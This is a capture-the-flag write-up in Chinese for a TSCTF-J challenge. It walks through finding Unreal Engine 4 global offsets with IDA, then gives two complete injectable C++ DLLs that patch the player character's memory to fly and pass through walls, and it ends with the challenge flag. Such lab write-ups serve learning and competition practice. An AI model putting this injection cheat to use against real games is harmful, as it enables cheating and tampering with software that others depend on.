好的!我知道了尴尬了,我还是太着急了,刚刚写这个wp的时候又打开来了(之前保存的i64),搜了一下seamless,发现直接出现了,原来是IDA加载太慢了,我太急了,我就不该上课 T.T
dump工具:Spuckwaffel/UEDumper: The most powerful Unreal Engine Dumper and Editor for UE 4.19 - 5.3
可以看这个视频
https://www.youtube.com/watch?v=M7VLd1xrVoM
说一下找三件套吧
Fname找ByteObject
交叉引用这个方法,是最上面那个
第一个偏移:0x4869C80
ps:可以看那个印度佬的视频,挺好的,先去rebase里把机制定位0
找UWorld时,我是IDA没加载出来这个”Seamless”字符串
关于如何对照源码虚幻4 UE4 逆向 寻找 世界地址 UWORLD地址 教程_哔哩哔哩_bilibili
可以先去github把对应版本的源码下载下来,需要加入epicgame组织先,
所以我对照了源码最终找到一个
当然常规的方法更简单一点
搜索: SeamlessTravel FlushLevelStreaming
往上直接找到:
第二个uworld有了:49ee370
第三个gobject,我也是死在这了…
我找的偏移是0x48A5FC0
看了wp发现是:0x48A5FD0
….
就差0x10,可能是数据结构哪里搞错了应该
当时找了
当时字符串没加载出来,简单的把48A5FC0作为Gobject肯定不对,都跟上面不太像其实
实际上被误导了?
ue5游戏逆向之寻找GWorld,GName和GUObjectArray - 怎么可以吃突突 - 博客园
这里虽然是ue5的方法,但是道理应该差不多,为什么偏移不对?
官解搜索的是:NewObject with….
可是我看了下引用:
这找个damn…
不知道是不是我IDA的原因
运气足够好,第二个就是
但是我并没有找到源码中对应的寻找方式,可能是源码中把NewObject字符串包装了,得搜索引用这个函数的才能去找GUObject
推荐搜索Failed to load Enginee class,跟刚才的NewObject With到达的是一个地方
48A5FD0
offset.h里填好
dump成功如下
后面就是游戏逆向,猜测flag在墙外,因而只有几种常规方法:透视(墙不见) 穿墙 飞天遁地
在merged_AudioMixer_Engine_UMG_MovieScene_MovieSceneTracks.h种有
这个文件不是引擎原生的源码文件,而是 自动合并生成的头文件 ,
目的是把多个模块导出的类、枚举、结构体合并在一个文件中方便分析。
这个枚举定义在 UE 原版引擎中是 角色移动组件(Character Movement Component) 的核心枚举
模式
场景举例
行为逻辑
MOVE_None
不可移动(如被眩晕、冻结)
停止更新物理
MOVE_Walking
在地面上走
使用地面摩擦力、速度计算
MOVE_NavWalking
AI 路径导航行走
使用 NavMesh
MOVE_Falling
从高处坠落
使用重力
MOVE_Swimming
在水中游动
使用流体阻力、浮力
MOVE_Flying
飞行类角色(如幽灵、飞行器)
关闭重力,使用自由三维移动
MOVE_Custom
自定义移动,如“攀爬”、“滑行”
游戏开发者自己扩展逻辑
我们能发现这里还有
ACharacter是什么?
ACharacter:UE4 自带的行走类Actor,继承自 APawn。含网格体、胶囊体、UCharacterMovementComponent 等,负责角色移动、跳跃等行为。你操作飞行/穿墙时的目标对象就是本地玩家的 ACharacter 实例
这些是 编译时静态断言(static_assert) ,用于验证 类成员变量的内存偏移 是否正确。
UCharacterMovementComponent::MovementMode
与 PendingLaunchVelocity
这些字段属于 UCharacterMovementComponent
(角色移动组件),控制角色的物理状态。
我们除了这些关键属性之外还需要知道世界链路
在 UE 逆向中,找到世界链路 是理解游戏对象体系的关键。
世界结构简图:
1 2 3 4 5 6 7 8 9 GWorld → UWorld ├─ PersistentLevel (ULevel) │ ├─ AActor[0] = DefaultPawn │ ├─ AActor[1] = PlayerCharacter │ └─ ... ├─ GameInstance ├─ GameMode ├─ PlayerController └─ etc.
名称
类型
含义
GWorld
UWorld*
全局指针
当前正在运行的世界(全局变量)
UWorld
类对象
世界实例本身,包含关卡、玩家、Actor 列表等
GWorld
就是指向当前 UWorld
的全局变量。
在内存调试中,通常会通过 GWorld
找到整个世界的根:
1 2 3 UWorld* World = GWorld; ULevel* Level = World->PersistentLevel; TArray<AActor*> Actors = Level->Actors;
这样就能遍历世界中所有的角色对象。
元素
含义
逆向用途
offsetof
成员偏移
定位内存字段、直接读写对象成员
CharacterMovement
角色移动组件指针
控制角色物理行为(走、飞、跳)
CapsuleComponent
碰撞体组件
检测碰撞、修改 hitbox 尺寸
MovementMode
当前移动模式
判断或强制移动状态
PendingLaunchVelocity
等待应用的速度
修改跳跃或击飞效果
GWorld → UWorld
世界根节点
遍历所有 Actor,找到玩家对象
在游戏中找到了玩家对象地址 PlayerCharacter
。
1 UCharacterMovementComponent* MoveComp = *(UCharacterMovementComponent**)(PlayerCharacter + 0x288);
接下来:
1 2 MoveComp->MovementMode = EMovementMode::MOVE_Flying; MoveComp->PendingLaunchVelocity = FVector(0, 0, 3000);
角色立刻能在空中飞行或超高跳。
UWorld::OwningGameInstance:指向当前世界所属的 UGameInstance。GameInstance 持有全局状态,如本地玩家列表、子系统等,是沿 GWorld 找到你这边玩家控制器的入口。
APawn:可被玩家或 AI 控制的 Actor 基类。ACharacter 就是 APawn 的一个扩展版本,加入了骨骼网格和 CharacterMovement。
APlayerController::AcknowledgedPawn:玩家控制器当前“正式控制”的 Pawn 指针。正常游戏里它就是你的角色 Pawn(如 ACharacter),读取后才能继续修改移动组件/碰撞。
APlayerController:表示本地或远端的玩家控制器,处理输入、相机、HUD 等。我们从 UGameInstance::LocalPlayers 取得的 ULocalPlayer->PlayerController 就是本地玩家的控制器,顺着它的 AcknowledgedPawn 拿到角色后才能进行后续 hack。
世界链路
GWorld(基址 base + 0x49EE370,与setOffsets() 中 OFFSET_GWORLD 相符)指向当前关卡对应的 UWorld。
UWorld + 0x180(OwningGameInstance)拿到 UGameInstance,这是全局封装玩家列表的对象。
UGameInstance + 0x38(LocalPlayers 的 TArray)提供本地玩家数组,下标 0 通常是本地玩家。
ULocalPlayer->PlayerController(UPlayer::PlayerController 在 …:8986 给出 0x30)接到 APlayerController,再用 AcknowledgedPawn 偏移 0x2A0 取到实际 Pawn。
Pawn + 0x288(CharacterMovement)就能定位 UCharacterMovementComponent;后续通过 MovementMode、PendingLaunchVelocity 等偏移修改为飞行或冲刺,或者抓取 CapsuleComponent(0x290) 调 SetCollisionEnabled 实现穿墙。
在编写代码时我们可以用reinterpret_cast
reinterpret_cast(expr) 是 C++ 提供的强制类型转换之一:
1 2 在没有类型信息/类定义不足的情况下,把某个指针或整数当成别的类型的指针来访问。 与UE这类内存操作结合时,我们经常只有偏移值,所以先把基址转成 uint8_t*,加偏移后再 reinterpret_cast<目标类型*>,这样就能把那块内存看成某个字段或结构。
FVector 在 BasicType.h 里被定义成三个 float 分量(X/Y/Z)。C++ 允许对这种简单结构做聚合初始化,{a, b, c} 就会依次填入 X/Y/Z,所以 {0.f, 0.f, 800.f} 会写成 (0,0,800)。
数值 800/600 只是示例:PendingLaunchVelocity 相当于给角色一个即将施加的冲量,LastUpdateVelocity 是当前速度。这两个字段只要写入任何 FVector,UE4 就会按这些分量处理运动;如果想要更慢或更快的上升,可以自己改成别的值。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 #include "pch.h" #include <Windows.h> #include <atomic> #include <thread> #include <chrono> #include "BasicType.h" struct UWorld ;struct UGameInstance ;struct ULocalPlayer ;struct APlayerController ;struct APawn ;struct ACharacter ;struct UCharacterMovementComponent ;struct FVector { float X, Y, Z; };enum class EMovementMode : uint8_t { MOVE_None = 0 , MOVE_Walking = 1 , MOVE_NavWalking, MOVE_Falling, MOVE_Swimming, MOVE_Flying, MOVE_Custom }; constexpr uintptr_t OFFSET_GWORLD = 0x49EE370 ;constexpr size_t OFFSET_UWORLD_OWNING_GI = 0x180 ;constexpr size_t OFFSET_UGAMEINSTANCE_LOCALPLAYERS = 0x38 ;constexpr size_t OFFSET_ULOCALPLAYER_PLAYERCONTROLLER = 0x30 ;constexpr size_t OFFSET_APLAYERCONTROLLER_ACKPAWN = 0x2A0 ;constexpr size_t OFFSET_ACHARACTER_CHARACTERMOVEMENT = 0x288 ; constexpr size_t OFFSET_UCHARMOVEMENT_MOVEMENTMODE = 0x168 ;constexpr size_t OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE = 0x384 ;constexpr size_t OFFSET_UCHARMOVEMENT_PENDINGLAUNCHVELOC = 0x3C0 ;constexpr size_t OFFSET_UCHARMOVEMENT_LASTUPDATEVELOC = 0x25C ; static std::atomic<bool > g_running{ true };static std::atomic<bool > g_flyEnabled{ false };inline uintptr_t GetModuleBase () { static uintptr_t base = reinterpret_cast <uintptr_t >(::GetModuleHandleW (nullptr )); return base; } inline UWorld* GetWorld () { return *reinterpret_cast <UWorld**>(GetModuleBase () + OFFSET_GWORLD); } inline UGameInstance* GetGameInstance (UWorld* world) { if (!world) return nullptr ; return *reinterpret_cast <UGameInstance**>(reinterpret_cast <uint8_t *>(world) + OFFSET_UWORLD_OWNING_GI); } inline TArray<ULocalPlayer*>& GetLocalPlayers (UGameInstance* gi) { return *reinterpret_cast <TArray<ULocalPlayer*>*>(reinterpret_cast <uint8_t *>(gi) + OFFSET_UGAMEINSTANCE_LOCALPLAYERS); } inline APlayerController* GetPlayerController (ULocalPlayer* lp) { return *reinterpret_cast <APlayerController**>(reinterpret_cast <uint8_t *>(lp) + OFFSET_ULOCALPLAYER_PLAYERCONTROLLER); } inline ACharacter* GetAcknowledgedCharacter (APlayerController* pc) { return *reinterpret_cast <ACharacter**>(reinterpret_cast <uint8_t *>(pc) + OFFSET_APLAYERCONTROLLER_ACKPAWN); } inline UCharacterMovementComponent* GetCharacterMovement (ACharacter* character) { return *reinterpret_cast <UCharacterMovementComponent**>( reinterpret_cast <uint8_t *>(character) + OFFSET_ACHARACTER_CHARACTERMOVEMENT); } void ApplyFlyState (UCharacterMovementComponent* movement, bool enable) { if (!movement) return ; uint8_t * base = reinterpret_cast <uint8_t *>(movement); auto & movementMode = *reinterpret_cast <EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE); auto & defaultLandMode = *reinterpret_cast <EMovementMode*>(base + OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE); auto & pendingLaunchVelocity = *reinterpret_cast <FVector*>(base + OFFSET_UCHARMOVEMENT_PENDINGLAUNCHVELOC); auto & lastUpdateVelocity = *reinterpret_cast <FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELOC); if (enable) { movementMode = EMovementMode::MOVE_Flying; defaultLandMode = EMovementMode::MOVE_Flying; pendingLaunchVelocity = { 0.f , 0.f , 800.f }; lastUpdateVelocity = { 0.f , 0.f , 600.f }; } else { movementMode = EMovementMode::MOVE_Walking; defaultLandMode = EMovementMode::MOVE_Walking; pendingLaunchVelocity = { 0.f , 0.f , 0.f }; lastUpdateVelocity = { 0.f , 0.f , 0.f }; } } void SustainFly (UCharacterMovementComponent* movement) { if (!movement) return ; uint8_t * base = reinterpret_cast <uint8_t *>(movement); auto & movementMode = *reinterpret_cast <EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE); auto & lastUpdateVelocity = *reinterpret_cast <FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELOC); movementMode = EMovementMode::MOVE_Flying; if (lastUpdateVelocity.Z < 300.f ) { lastUpdateVelocity.Z = 400.f ; } } DWORD WINAPI FlyThread (LPVOID) { while (g_running) { if (::GetAsyncKeyState (VK_F6) & 1 ) { UWorld* world = GetWorld (); auto gi = GetGameInstance (world); if (!gi) continue ; auto & players = GetLocalPlayers (gi); if (!players.IsValidIndex (0 ) || !players[0 ]) continue ; auto pc = GetPlayerController (players[0 ]); if (!pc) continue ; auto character = GetAcknowledgedCharacter (pc); auto movement = GetCharacterMovement (character); g_flyEnabled = !g_flyEnabled.load (); ApplyFlyState (movement, g_flyEnabled); } if (g_flyEnabled) { UWorld* world = GetWorld (); auto gi = GetGameInstance (world); if (gi) { auto & players = GetLocalPlayers (gi); if (players.IsValidIndex (0 ) && players[0 ]) { auto pc = GetPlayerController (players[0 ]); if (pc) { auto character = GetAcknowledgedCharacter (pc); auto movement = GetCharacterMovement (character); SustainFly (movement); } } } } std::this_thread::sleep_for (std::chrono::milliseconds (20 )); } return 0 ; } BOOL APIENTRY DllMain (HMODULE module , DWORD reason, LPVOID) { if (reason == DLL_PROCESS_ATTACH) { ::DisableThreadLibraryCalls (module ); ::MessageBoxW (nullptr , L"TSCTF DLL 注入成功\nF6 切换飞行模式" , L"TSCTF Helper" , MB_OK | MB_ICONINFORMATION); ::CreateThread (nullptr , 0 , FlyThread, nullptr , 0 , nullptr ); } else if (reason == DLL_PROCESS_DETACH) { g_running = false ; } return TRUE; }
visual studio新建dll项目
注意引如BasicType.h
然后生成项目
relase x64
然后找工具注入
如:
DarthTon/Xenos: Windows dll injector
注入即可
按F6起飞
这里再添加一个脚本兼容穿墙和起飞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 #include "pch.h" #include <Windows.h> #include <atomic> #include <thread> #include <chrono> #include "BasicType.h" struct UWorld ;struct UGameInstance ;struct ULocalPlayer ;struct APlayerController ;struct APawn ;struct ACharacter ;struct UCharacterMovementComponent ;struct UCapsuleComponent ;struct FVector { float X, Y, Z; };enum class EMovementMode : uint8_t { MOVE_None = 0 , MOVE_Walking = 1 , MOVE_NavWalking, MOVE_Falling, MOVE_Swimming, MOVE_Flying, MOVE_Custom }; enum class ECollisionEnabled : uint8_t { NoCollision = 0 , QueryOnly = 1 , PhysicsOnly = 2 , QueryAndPhysics = 3 }; constexpr uintptr_t OFFSET_GWORLD = 0x49EE370 ;constexpr size_t OFFSET_UWORLD_OWNING_GI = 0x180 ;constexpr size_t OFFSET_UGAMEINSTANCE_LOCALPLAYERS = 0x38 ;constexpr size_t OFFSET_ULOCALPLAYER_PLAYERCONTROLLER = 0x30 ;constexpr size_t OFFSET_APLAYERCONTROLLER_ACKPAWN = 0x2A0 ;constexpr size_t OFFSET_ACHARACTER_MOVEMENT = 0x288 ;constexpr size_t OFFSET_ACHARACTER_CAPSULE = 0x290 ;constexpr size_t OFFSET_UCHARMOVEMENT_MOVEMENTMODE = 0x168 ;constexpr size_t OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE = 0x384 ;constexpr size_t OFFSET_UCHARMOVEMENT_PENDINGLAUNCH = 0x3C0 ;constexpr size_t OFFSET_UCHARMOVEMENT_LASTUPDATEVELO = 0x25C ;constexpr size_t OFFSET_UPRIMITIVE_BODYINSTANCE = 0x2C8 ;constexpr size_t OFFSET_FBODYINSTANCE_COLLISIONENABLED = 0x20 ;static std::atomic<bool > g_running{ true };static std::atomic<bool > g_userFly{ false };static std::atomic<bool > g_autoFlyFromCollision{ false };static std::atomic<bool > g_noCollision{ false };inline uintptr_t GetModuleBase () { static uintptr_t base = reinterpret_cast <uintptr_t >(::GetModuleHandleW (nullptr )); return base; } inline UWorld* GetWorld () { return *reinterpret_cast <UWorld**>(GetModuleBase () + OFFSET_GWORLD); } inline UGameInstance* GetGameInstance (UWorld* world) { if (!world) return nullptr ; return *reinterpret_cast <UGameInstance**>(reinterpret_cast <uint8_t *>(world) + OFFSET_UWORLD_OWNING_GI); } inline TArray<ULocalPlayer*>& GetLocalPlayers (UGameInstance* gi) { return *reinterpret_cast <TArray<ULocalPlayer*>*>(reinterpret_cast <uint8_t *>(gi) + OFFSET_UGAMEINSTANCE_LOCALPLAYERS); } inline APlayerController* GetPlayerController (ULocalPlayer* lp) { return *reinterpret_cast <APlayerController**>(reinterpret_cast <uint8_t *>(lp) + OFFSET_ULOCALPLAYER_PLAYERCONTROLLER); } inline ACharacter* GetAcknowledgedCharacter (APlayerController* pc) { return *reinterpret_cast <ACharacter**>(reinterpret_cast <uint8_t *>(pc) + OFFSET_APLAYERCONTROLLER_ACKPAWN); } inline UCharacterMovementComponent* GetCharacterMovement (ACharacter* character) { return *reinterpret_cast <UCharacterMovementComponent**>(reinterpret_cast <uint8_t *>(character) + OFFSET_ACHARACTER_MOVEMENT); } inline UCapsuleComponent* GetCapsuleComponent (ACharacter* character) { return *reinterpret_cast <UCapsuleComponent**>(reinterpret_cast <uint8_t *>(character) + OFFSET_ACHARACTER_CAPSULE); } void ApplyFlyState (UCharacterMovementComponent* movement, bool enable, bool giveBoost) { if (!movement) return ; uint8_t * base = reinterpret_cast <uint8_t *>(movement); auto & movementMode = *reinterpret_cast <EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE); auto & defaultLand = *reinterpret_cast <EMovementMode*>(base + OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE); auto & pendingLaunch = *reinterpret_cast <FVector*>(base + OFFSET_UCHARMOVEMENT_PENDINGLAUNCH); auto & lastUpdateVel = *reinterpret_cast <FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELO); if (enable) { movementMode = EMovementMode::MOVE_Flying; defaultLand = EMovementMode::MOVE_Flying; if (giveBoost) { pendingLaunch = { 0.f , 0.f , 800.f }; lastUpdateVel = { 0.f , 0.f , 600.f }; } else { pendingLaunch = { 0.f , 0.f , 0.f }; lastUpdateVel = { 0.f , 0.f , 0.f }; } } else { movementMode = EMovementMode::MOVE_Walking; defaultLand = EMovementMode::MOVE_Walking; pendingLaunch = { 0.f , 0.f , 0.f }; lastUpdateVel = { 0.f , 0.f , 0.f }; } } void SustainFly (UCharacterMovementComponent* movement, bool giveBoost) { if (!movement) return ; uint8_t * base = reinterpret_cast <uint8_t *>(movement); auto & movementMode = *reinterpret_cast <EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE); auto & lastUpdateVel = *reinterpret_cast <FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELO); movementMode = EMovementMode::MOVE_Flying; if (giveBoost && lastUpdateVel.Z < 300.f ) { lastUpdateVel.Z = 400.f ; } } void ApplyCollisionState (UCapsuleComponent* capsule, bool noCollision) { if (!capsule) return ; uint8_t * primitive = reinterpret_cast <uint8_t *>(capsule); auto & collisionEnabled = *reinterpret_cast <ECollisionEnabled*>( primitive + OFFSET_UPRIMITIVE_BODYINSTANCE + OFFSET_FBODYINSTANCE_COLLISIONENABLED); collisionEnabled = noCollision ? ECollisionEnabled::NoCollision : ECollisionEnabled::QueryAndPhysics; } bool ShouldFly () { return g_userFly.load () || g_autoFlyFromCollision.load (); } DWORD WINAPI FlyThread (LPVOID) { while (g_running) { if (::GetAsyncKeyState (VK_F6) & 1 ) { UWorld* world = GetWorld (); auto gi = GetGameInstance (world); if (!gi) continue ; auto & players = GetLocalPlayers (gi); if (!players.IsValidIndex (0 ) || !players[0 ]) continue ; auto pc = GetPlayerController (players[0 ]); if (!pc) continue ; auto character = GetAcknowledgedCharacter (pc); auto movement = GetCharacterMovement (character); if (!movement) continue ; g_userFly = !g_userFly.load (); ApplyFlyState (movement, ShouldFly (), g_userFly.load ()); } if (::GetAsyncKeyState (VK_F5) & 1 ) { UWorld* world = GetWorld (); auto gi = GetGameInstance (world); if (!gi) continue ; auto & players = GetLocalPlayers (gi); if (!players.IsValidIndex (0 ) || !players[0 ]) continue ; auto pc = GetPlayerController (players[0 ]); if (!pc) continue ; auto character = GetAcknowledgedCharacter (pc); auto movement = GetCharacterMovement (character); auto capsule = GetCapsuleComponent (character); if (!movement || !capsule) continue ; bool newState = !g_noCollision.load (); g_noCollision = newState; g_autoFlyFromCollision = newState; ApplyCollisionState (capsule, newState); ApplyFlyState (movement, ShouldFly (), g_userFly.load ()); } if (ShouldFly () || g_noCollision.load ()) { UWorld* world = GetWorld (); auto gi = GetGameInstance (world); if (gi) { auto & players = GetLocalPlayers (gi); if (players.IsValidIndex (0 ) && players[0 ]) { auto pc = GetPlayerController (players[0 ]); if (pc) { auto character = GetAcknowledgedCharacter (pc); if (auto movement = GetCharacterMovement (character)) { SustainFly (movement, g_userFly.load ()); } if (auto capsule = GetCapsuleComponent (character); g_noCollision.load ()) { ApplyCollisionState (capsule, true ); } } } } } std::this_thread::sleep_for (std::chrono::milliseconds (20 )); } return 0 ; } BOOL APIENTRY DllMain (HMODULE module , DWORD reason, LPVOID) { if (reason == DLL_PROCESS_ATTACH) { ::DisableThreadLibraryCalls (module ); ::MessageBoxW (nullptr , L"TSCTF DLL 注入成功\nF6 切换飞行模式\nF5 切换穿墙模式" , L"TSCTF Helper" , MB_OK | MB_ICONINFORMATION); ::CreateThread (nullptr , 0 , FlyThread, nullptr , 0 , nullptr ); } else if (reason == DLL_PROCESS_DETACH) { g_running = false ; } return TRUE; }
Flag:TSCTF-J{u0real_or_R1AL?!
还有一段flag找不到
只能看wp了
看了题解是藏在前面了_and_here}
TSCTF-J{u0real_or_R1AL?!_and_here}